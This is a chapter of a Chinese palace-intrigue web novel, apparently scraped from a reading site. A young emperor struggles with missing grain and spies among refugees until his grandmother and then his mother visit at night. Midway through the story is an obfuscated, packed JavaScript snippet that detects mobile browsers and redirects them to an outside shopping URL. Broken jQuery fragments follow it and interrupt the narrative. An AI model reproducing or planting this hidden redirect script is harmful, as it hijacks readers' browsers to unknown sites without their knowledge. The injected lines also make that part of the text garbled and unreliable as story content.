第一百三十二章:七十万石去哪里了

作品:《废后三年,病娇渣皇落草追妻

    那七十万石去哪了?


    户部的人支支吾吾,说往年陈粮出仓、新粮入仓,有些损耗,有些霉变,有些……有些被调拨到边关去了。


    萧衍问调拨的文书呢?那人磕头,说不慎遗失了。


    遗失?一百万石的粮食,说遗失就遗失了?


    他气得浑身发抖,可又无可奈何。因为管着那些粮仓的,是韩珪的姻亲;核验账目的,是韩珪的门生;就连户部尚书,见了韩珪都要拱手叫一声“韩公”。


    他能怎么办?把所有人都抓起来?证据呢?他刚登基,大狱一起,朝野震动,那些本来就摇摆不定的人,会不会倒向韩珪那边?


    **。


    他只知道自己被困住了。被困在这座金碧辉煌的乾清宫里,被困在这张堆满奏折的御案前,被困在一张看不见却挣不脱的大网里。


    这夜,子时已过,萧衍还坐在御案前发呆。


    案上摊着一份奏折,是顺天府尹递上来的,说城外流民越来越多,已有小股流民冲进庄子抢粮,再不想办法,恐生大乱。


    他盯着那几个字——“恐生大乱”,看了很久,却一个字也批不下去。


    门外传来轻轻的脚步声。内侍的声音压得很低:“陛下,太后娘娘……来了。”


    萧衍一愣,还没等起身,门已经被推开了。


    太后站在门口。


    她穿着一身深青色的常服,头发梳得一丝不乱,脸上没什么表情,只一双眼睛,沉沉地望着他。她身后跟着两个嬷嬷,都是跟了她几十年的老人,进来便垂手立在门边,像两尊泥塑。


    萧衍起身行礼:“皇祖母。”


    太后点点头,走进来,在御案旁的椅上坐下。她看了看案上堆成小山的奏折,又看了看萧衍疲惫的脸,沉默了一会儿。


    “几天没睡了?”她问。


    萧衍垂下眼:“孙儿不困。”


    太后哼了一声,不知是气还是叹。她从袖中取出一张纸,放在御案上。


    “看看吧。”


    萧衍拿起那张纸,展开。是一份密报,字迹潦草,内容却让他心头一跳。


    “北境流民中,混有月氏细作,约数十人。已潜入京畿,意图不明。”


    他猛地抬头,看向太后。


    太后依旧没什么表情,只是看着他。


    “皇祖母……”萧衍的声音有些干涩,“这密报从何而来?”


    “你有你的消息,我有我的。”太后淡淡道,“你不必问来源,只需知道,这是真的。”


    萧衍攥着那张纸,手心渗出冷汗。


    混有细作。数十人。潜入京畿。


    他想起了母后从前跟他说过的话:当年萧执就是用这一招,制造流民,混入细作,差点要了父皇的命。


    如今,历史要重演了吗?


    “皇祖母既知有细作,”他压下心中的惊涛骇浪,尽量让声音平稳,“为何不早告诉孙儿?”


    太后看着他,目光里有一丝复杂的情绪。是心疼,是无奈,还是别的什么?萧衍分辨不出。


    “告诉你又怎样?”太后说,“你调得了兵吗?开得了仓吗?”


    萧衍被噎住了。


    是啊,告诉他有什么用?他知道有细作,又能怎样?兵调不动,粮开不了,他只能眼睁睁看着那些细作在流民里兴风作浪,等着他们闹出乱子,然后……


    然后什么?


    他不敢往下想。


    太后站起身,走到他面前。她伸出手,像小时候那样,轻轻抚了抚他的头。


    “衍儿,”她的声音忽然软下来,“你父皇像你这么大的时候,比你还难。”


    萧衍抬起头,看着她。


    太后没有再说下去。她收回手,转身往外走。走到门口,又停下来,没有回头。


    “韩珪那些人,你不用管。你父皇快到了。”


    说完,她便走了。


    萧衍站在原地,怔怔地望着那扇关上的门。


    父皇快到了。


    这四个字,像一束光,照进他心里那片阴霾里。


    可那束光之外,还有更多的问题,像无数只手,把他往下拉。


    父皇来了又能怎样?父皇已经禅位了,不再是皇帝。他凭什么插手朝政?韩珪那些人,会不会用这个做文章?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238612|196593||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还有太后。皇祖母今夜来,到底是为了什么?她手里有那样的密报,为什么不早拿出来?她说的“你有你的消息,我有我的”,是什么意思?


    萧衍站在那里,想了很久,想不出答案。


    门外又传来脚步声。这一次,是内侍熟悉的嗓音:“陛下,皇后娘娘……不,太上皇后娘娘来了。”


    萧衍浑身一震,猛地转身。


    门开了。


    苏灼站在门口。


    她穿着一身靛蓝色的衣裙,风尘仆仆,脸上还带着赶路的疲惫,可那双眼睛,还是那样清亮亮的,像他小时候记忆里的一样。


    “母后!”萧衍快步迎上去,一把抓住她的手,“您怎么……父皇呢?”


    “在后头,去寿康宫了。”苏灼任由他抓着,目光在他脸上细细打量着。瘦了,憔悴了,眼底青得吓人,嘴唇也干裂着,一看就是几天没好好吃东西。


    她心里一疼,面上却没露出来。


    “衍儿,”她说,“把门关上。”


    萧衍愣了愣,转身把门关上。


    屋里只剩下母子两人。


    苏灼拉着他在御案边坐下,把那堆奏折往旁边推了推,腾出一小块地方。她从袖中取出一块帕子,包着几块桂花糕,是临走时陈嬷嬷硬塞给她的。


    “先吃点东西。”她把帕子推过去。


    萧衍看着那几块桂花糕,眼眶忽然有些发酸。他拿起一块,咬了一口,又咬了一口。桂花糕有点干了,可他还是大口大口地吃着,像小时候那样。


    苏灼看着他吃,没有说话。


    等他把三块桂花糕都吃完了,她才开口。


    “说说吧。从头说。”


    萧衍深吸一口气,把这段时间的事,一五一十地说了。


    从北境急报开始,到朝堂上的争吵,到兵部的推诿,到粮仓的亏空,到城外的流民,到那些“太子心软误国”的传言。他说得很细,有些地方反复讲了好几遍,生怕漏了什么。


    苏灼一直静静地听着,偶尔点点头,偶尔皱皱眉,偶尔问一句“然后呢”。


    等他说完,窗外已经透进一丝蒙蒙的亮光。